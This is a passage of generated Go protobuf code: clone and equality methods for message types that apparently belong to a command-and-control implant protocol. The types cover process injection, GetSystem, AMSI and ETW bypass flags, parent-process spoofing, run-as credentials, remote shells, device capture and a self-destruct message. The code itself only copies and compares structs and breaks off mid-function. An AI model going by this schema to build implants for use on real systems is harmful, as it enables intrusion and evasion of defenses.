slices.Clone(m.unknownFields) + } + return r +} + +func (m *Addon) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *LoadModule) CloneVT() *LoadModule { + if m == nil { + return (*LoadModule)(nil) + } + r := new(LoadModule) + r.Bundle = m.Bundle + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *LoadModule) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *LoadAddon) CloneVT() *LoadAddon { + if m == nil { + return (*LoadAddon)(nil) + } + r := new(LoadAddon) + r.Name = m.Name + r.Type = m.Type + r.Depend = m.Depend + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *LoadAddon) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecuteAddon) CloneVT() *ExecuteAddon { + if m == nil { + return (*ExecuteAddon)(nil) + } + r := new(ExecuteAddon) + r.Addon = m.Addon + r.ExecuteBinary = m.ExecuteBinary.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecuteAddon) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecuteBinary) CloneVT() *ExecuteBinary { + if m == nil { + return (*ExecuteBinary)(nil) + } + r := new(ExecuteBinary) + r.Name = m.Name + r.Type = m.Type + r.ProcessName = m.ProcessName + r.EntryPoint = m.EntryPoint + r.Output = m.Output + r.Arch = m.Arch + r.Timeout = m.Timeout + r.Sacrifice = m.Sacrifice.CloneVT() + r.Path = m.Path + r.Context = m.Context + r.Delay = m.Delay + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if rhs := m.Param; rhs != nil { + r.Param = maps.Clone(rhs) + } + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecuteBinary) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecuteCommand) CloneVT() *ExecuteCommand { + if m == nil { + return (*ExecuteCommand)(nil) + } + r := new(ExecuteCommand) + r.Command = m.Command + r.Sacrifice = m.Sacrifice.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecuteCommand) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *UploadRequest) CloneVT() *UploadRequest { + if m == nil { + return (*UploadRequest)(nil) + } + r := new(UploadRequest) + r.Name = m.Name + r.Target = m.Target + r.Priv = m.Priv + r.Hidden = m.Hidden + r.Override = m.Override + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *UploadRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *DownloadRequest) CloneVT() *DownloadRequest { + if m == nil { + return (*DownloadRequest)(nil) + } + r := new(DownloadRequest) + r.Path = m.Path + r.Name = m.Name + r.BufferSize = m.BufferSize + r.Dir = m.Dir + r.Cur = m.Cur + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *DownloadRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *DownloadResponse) CloneVT() *DownloadResponse { + if m == nil { + return (*DownloadResponse)(nil) + } + r := new(DownloadResponse) + r.Checksum = m.Checksum + r.Size = m.Size + r.Cur = m.Cur + if rhs := m.Content; rhs != nil { + r.Content = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *DownloadResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *CurlRequest) CloneVT() *CurlRequest { + if m == nil { + return (*CurlRequest)(nil) + } + r := new(CurlRequest) + r.Url = m.Url + r.Timeout = m.Timeout + r.Method = m.Method + r.Hostname = m.Hostname + if rhs := m.Body; rhs != nil { + r.Body = slices.Clone(rhs) + } + if rhs := m.Header; rhs != nil { + r.Header = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *CurlRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ChownRequest) CloneVT() *ChownRequest { + if m == nil { + return (*ChownRequest)(nil) + } + r := new(ChownRequest) + r.Path = m.Path + r.Uid = m.Uid + r.Gid = m.Gid + r.Recursive = m.Recursive + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ChownRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *IfconfigResponse) CloneVT() *IfconfigResponse { + if m == nil { + return (*IfconfigResponse)(nil) + } + r := new(IfconfigResponse) + if rhs := m.NetInterfaces; rhs != nil { + r.NetInterfaces = make([]*NetInterface, len(rhs)) + for k, v := range rhs { + r.NetInterfaces[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *IfconfigResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *RegistryRequest) CloneVT() *RegistryRequest { + if m == nil { + return (*RegistryRequest)(nil) + } + r := new(RegistryRequest) + r.Type = m.Type + r.Registry = m.Registry.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *RegistryRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Registry) CloneVT() *Registry { + if m == nil { + return (*Registry)(nil) + } + r := new(Registry) + r.Hive = m.Hive + r.Path = m.Path + r.Key = m.Key + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Registry) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *RegistryWriteRequest) CloneVT() *RegistryWriteRequest { + if m == nil { + return (*RegistryWriteRequest)(nil) + } + r := new(RegistryWriteRequest) + r.Hive = m.Hive + r.Path = m.Path + r.Key = m.Key + r.StringValue = m.StringValue + r.DwordValue = m.DwordValue + r.QwordValue = m.QwordValue + r.Regtype = m.Regtype + if rhs := m.ByteValue; rhs != nil { + r.ByteValue = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *RegistryWriteRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskScheduleRequest) CloneVT() *TaskScheduleRequest { + if m == nil { + return (*TaskScheduleRequest)(nil) + } + r := new(TaskScheduleRequest) + r.Type = m.Type + r.Taskschd = m.Taskschd.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskScheduleRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskSchedule) CloneVT() *TaskSchedule { + if m == nil { + return (*TaskSchedule)(nil) + } + r := new(TaskSchedule) + r.Name = m.Name + r.Path = m.Path + r.ExecutablePath = m.ExecutablePath + r.TriggerType = m.TriggerType + r.StartBoundary = m.StartBoundary + r.Description = m.Description + r.Enabled = m.Enabled + r.LastRunTime = m.LastRunTime + r.NextRunTime = m.NextRunTime + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskSchedule) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskSchedulesResponse) CloneVT() *TaskSchedulesResponse { + if m == nil { + return (*TaskSchedulesResponse)(nil) + } + r := new(TaskSchedulesResponse) + if rhs := m.Schedules; rhs != nil { + r.Schedules = make([]*TaskSchedule, len(rhs)) + for k, v := range rhs { + r.Schedules[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskSchedulesResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServiceRequest) CloneVT() *ServiceRequest { + if m == nil { + return (*ServiceRequest)(nil) + } + r := new(ServiceRequest) + r.Type = m.Type + r.Service = m.Service.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServiceRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServiceConfig) CloneVT() *ServiceConfig { + if m == nil { + return (*ServiceConfig)(nil) + } + r := new(ServiceConfig) + r.Name = m.Name + r.DisplayName = m.DisplayName + r.ExecutablePath = m.ExecutablePath + r.StartType = m.StartType + r.ErrorControl = m.ErrorControl + r.AccountName = m.AccountName + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServiceConfig) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServiceStatus) CloneVT() *ServiceStatus { + if m == nil { + return (*ServiceStatus)(nil) + } + r := new(ServiceStatus) + r.CurrentState = m.CurrentState + r.ProcessId = m.ProcessId + r.ExitCode = m.ExitCode + r.Checkpoint = m.Checkpoint + r.WaitHint = m.WaitHint + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServiceStatus) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Service) CloneVT() *Service { + if m == nil { + return (*Service)(nil) + } + r := new(Service) + r.Config = m.Config.CloneVT() + r.Status = m.Status.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Service) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServicesResponse) CloneVT() *ServicesResponse { + if m == nil { + return (*ServicesResponse)(nil) + } + r := new(ServicesResponse) + if rhs := m.Services; rhs != nil { + r.Services = make([]*Service, len(rhs)) + for k, v := range rhs { + r.Services[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServicesResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *WmiQueryRequest) CloneVT() *WmiQueryRequest { + if m == nil { + return (*WmiQueryRequest)(nil) + } + r := new(WmiQueryRequest) + r.Namespace = m.Namespace + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *WmiQueryRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *WmiMethodRequest) CloneVT() *WmiMethodRequest { + if m == nil { + return (*WmiMethodRequest)(nil) + } + r := new(WmiMethodRequest) + r.Namespace = m.Namespace + r.ClassName = m.ClassName + r.MethodName = m.MethodName + if rhs := m.Params; rhs != nil { + r.Params = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *WmiMethodRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *RunAsRequest) CloneVT() *RunAsRequest { + if m == nil { + return (*RunAsRequest)(nil) + } + r := new(RunAsRequest) + r.Username = m.Username + r.Domain = m.Domain + r.Password = m.Password + r.Program = m.Program + r.Args = m.Args + r.UseProfile = m.UseProfile + r.Netonly = m.Netonly + r.UseEnv = m.UseEnv + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *RunAsRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *GetSystem) CloneVT() *GetSystem { + if m == nil { + return (*GetSystem)(nil) + } + r := new(GetSystem) + r.Pid = m.Pid + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *GetSystem) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Inject) CloneVT() *Inject { + if m == nil { + return (*Inject)(nil) + } + r := new(Inject) + r.Pid = m.Pid + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Inject) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Pipe) CloneVT() *Pipe { + if m == nil { + return (*Pipe)(nil) + } + r := new(Pipe) + r.Name = m.Name + r.Target = m.Target + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Pipe) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PipeRequest) CloneVT() *PipeRequest { + if m == nil { + return (*PipeRequest)(nil) + } + r := new(PipeRequest) + r.Type = m.Type + r.Pipe = m.Pipe.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PipeRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Switch) CloneVT() *Switch { + if m == nil { + return (*Switch)(nil) + } + r := new(Switch) + if rhs := m.Urls; rhs != nil { + r.Urls = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Switch) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskCtrl) CloneVT() *TaskCtrl { + if m == nil { + return (*TaskCtrl)(nil) + } + r := new(TaskCtrl) + r.TaskId = m.TaskId + r.Op = m.Op + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskCtrl) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskInfo) CloneVT() *TaskInfo { + if m == nil { + return (*TaskInfo)(nil) + } + r := new(TaskInfo) + r.TaskId = m.TaskId + r.Last = m.Last + r.RecvCount = m.RecvCount + r.SendCount = m.SendCount + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskListResponse) CloneVT() *TaskListResponse { + if m == nil { + return (*TaskListResponse)(nil) + } + r := new(TaskListResponse) + if rhs := m.Tasks; rhs != nil { + r.Tasks = make([]*TaskInfo, len(rhs)) + for k, v := range rhs { + r.Tasks[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskListResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *FFmpegRequest) CloneVT() *FFmpegRequest { + if m == nil { + return (*FFmpegRequest)(nil) + } + r := new(FFmpegRequest) + r.Action = m.Action + r.DeviceName = m.DeviceName + r.OutputFormat = m.OutputFormat + r.OutputPath = m.OutputPath + r.Time = m.Time + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *FFmpegRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PtyRequest) CloneVT() *PtyRequest { + if m == nil { + return (*PtyRequest)(nil) + } + r := new(PtyRequest) + r.Type = m.Type + r.SessionId = m.SessionId + r.Shell = m.Shell + r.Cols = m.Cols + r.Rows = m.Rows + r.InputText = m.InputText + if rhs := m.InputData; rhs != nil { + r.InputData = slices.Clone(rhs) + } + if rhs := m.Params; rhs != nil { + r.Params = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PtyRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PtyResponse) CloneVT() *PtyResponse { + if m == nil { + return (*PtyResponse)(nil) + } + r := new(PtyResponse) + r.SessionId = m.SessionId + r.OutputText = m.OutputText + r.Error = m.Error + r.SessionActive = m.SessionActive + if rhs := m.OutputData; rhs != nil { + r.OutputData = slices.Clone(rhs) + } + if rhs := m.ActiveSessions; rhs != nil { + r.ActiveSessions = slices.Clone(rhs) + } + if rhs := m.Metadata; rhs != nil { + r.Metadata = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PtyResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *CommonBody) CloneVT() *CommonBody { + if m == nil { + return (*CommonBody)(nil) + } + r := new(CommonBody) + r.Name = m.Name + if rhs := m.U32Array; rhs != nil { + r.U32Array = slices.Clone(rhs) + } + if rhs := m.U64Array; rhs != nil { + r.U64Array = slices.Clone(rhs) + } + if rhs := m.BoolArray; rhs != nil { + r.BoolArray = slices.Clone(rhs) + } + if rhs := m.StringArray; rhs != nil { + r.StringArray = slices.Clone(rhs) + } + if rhs := m.BytesArray; rhs != nil { + r.BytesArray = make([][]byte, len(rhs)) + for k, v := range rhs { + r.BytesArray[k] = slices.Clone(v) + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *CommonBody) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (this *Ping) EqualVT(that *Ping) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Nonce != that.Nonce { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Ping) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Ping) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Register) EqualVT(that *Register) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Proxy != that.Proxy { + return false + } + if len(this.Module) != len(that.Module) { + return false + } + for i, vx := range this.Module { + vy := that.Module[i] + if vx != vy { + return false + } + } + if len(this.Addons) != len(that.Addons) { + return false + } + for i, vx := range this.Addons { + vy := that.Addons[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Addon{} + } + if q == nil { + q = &Addon{} + } + if !p.EqualVT(q) { + return false + } + } + } + if !this.Timer.EqualVT(that.Timer) { + return false + } + if !this.Sysinfo.EqualVT(that.Sysinfo) { + return false + } + if !this.Secure.EqualVT(that.Secure) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Register) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Register) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Secure) EqualVT(that *Secure) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Enable != that.Enable { + return false + } + if this.Key != that.Key { + return false + } + if this.Type != that.Type { + return false + } + if this.PublicKey != that.PublicKey { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Secure) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Secure) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *KeyExchangeRequest) EqualVT(that *KeyExchangeRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.PublicKey != that.PublicKey { + return false + } + if string(this.Signature) != string(that.Signature) { + return false + } + if this.Timestamp != that.Timestamp { + return false + } + if this.Nonce != that.Nonce { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *KeyExchangeRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*KeyExchangeRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *KeyExchangeResponse) EqualVT(that *KeyExchangeResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.PublicKey != that.PublicKey { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *KeyExchangeResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*KeyExchangeResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Init) EqualVT(that *Init) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Init) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Init) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *SysInfo) EqualVT(that *SysInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Filepath != that.Filepath { + return false + } + if this.Workdir != that.Workdir { + return false + } + if this.IsPrivilege != that.IsPrivilege { + return false + } + if !this.Os.EqualVT(that.Os) { + return false + } + if !this.Process.EqualVT(that.Process) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *SysInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*SysInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Suicide) EqualVT(that *Suicide) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if this.Timestamp != that.Timestamp { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Suicide) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Suicide) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Request) EqualVT(that *Request) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Input != that.Input { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + if len(this.Params) != len(that.Params) { + return false + } + for i, vx := range this.Params { + vy, ok := that.Params[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if string(this.Bin) != string(that.Bin) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Request) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Request) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Response) EqualVT(that *Response) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Output != that.Output { + return false + } + if this.Error != that.Error { + return false + } + if len(this.Kv) != len(that.Kv) { + return false + } + for i, vx := range this.Kv { + vy, ok := that.Kv[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if len(this.Array) != len(that.Array) { + return false + } + for i, vx := range this.Array { + vy := that.Array[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Response) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Response) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *BypassRequest) EqualVT(that *BypassRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.ETW != that.ETW { + return false + } + if this.AMSI != that.AMSI { + return false + } + if this.BlockDll != that.BlockDll { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *BypassRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*BypassRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *NetInterface) EqualVT(that *NetInterface) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Index != that.Index { + return false + } + if this.Name != that.Name { + return false + } + if this.Mac != that.Mac { + return false + } + if len(this.IpAddresses) != len(that.IpAddresses) { + return false + } + for i, vx := range this.IpAddresses { + vy := that.IpAddresses[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *NetInterface) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*NetInterface) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *SockTabEntry) EqualVT(that *SockTabEntry) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.LocalAddr != that.LocalAddr { + return false + } + if this.RemoteAddr != that.RemoteAddr { + return false + } + if this.SkState != that.SkState { + return false + } + if this.Pid != that.Pid { + return false + } + if this.Protocol != that.Protocol { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *SockTabEntry) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*SockTabEntry) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *NetstatResponse) EqualVT(that *NetstatResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Socks) != len(that.Socks) { + return false + } + for i, vx := range this.Socks { + vy := that.Socks[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &SockTabEntry{} + } + if q == nil { + q = &SockTabEntry{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *NetstatResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*NetstatResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Block) EqualVT(that *Block) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.BlockId != that.BlockId { + return false + } + if string(this.Content) != string(that.Content) { + return false + } + if this.End != that.End { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Block) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Block) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ACK) EqualVT(that *ACK) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Id != that.Id { + return false + } + if this.Success != that.Success { + return false + } + if this.End != that.End { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ACK) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ACK) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Os) EqualVT(that *Os) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Version != that.Version { + return false + } + if this.Release != that.Release { + return false + } + if this.Arch != that.Arch { + return false + } + if this.Username != that.Username { + return false + } + if this.Hostname != that.Hostname { + return false + } + if this.Locale != that.Locale { + return false + } + if len(this.ClrVersion) != len(that.ClrVersion) { + return false + } + for i, vx := range this.ClrVersion { + vy := that.ClrVersion[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Os) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Os) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Process) EqualVT(that *Process) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Pid != that.Pid { + return false + } + if this.Ppid != that.Ppid { + return false + } + if this.Owner != that.Owner { + return false + } + if this.Arch != that.Arch { + return false + } + if this.Path != that.Path { + return false + } + if this.Args != that.Args { + return false + } + if this.Uid != that.Uid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Process) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Process) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Timer) EqualVT(that *Timer) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Expression != that.Expression { + return false + } + if this.Jitter != that.Jitter { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Timer) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Timer) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *FileInfo) EqualVT(that *FileInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.IsDir != that.IsDir { + return false + } + if this.Size != that.Size { + return false + } + if this.ModTime != that.ModTime { + return false + } + if this.Mode != that.Mode { + return false + } + if this.Link != that.Link { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *FileInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*FileInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *SacrificeProcess) EqualVT(that *SacrificeProcess) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Hidden != that.Hidden { + return false + } + if this.BlockDll != that.BlockDll { + return false + } + if this.Etw != that.Etw { + return false + } + if this.Ppid != that.Ppid { + return false + } + if this.Argue != that.Argue { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *SacrificeProcess) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*SacrificeProcess) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *LsResponse) EqualVT(that *LsResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.Exists != that.Exists { + return false + } + if len(this.Files) != len(that.Files) { + return false + } + for i, vx := range this.Files { + vy := that.Files[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &FileInfo{} + } + if q == nil { + q = &FileInfo{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *LsResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*LsResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *DriveInfo) EqualVT(that 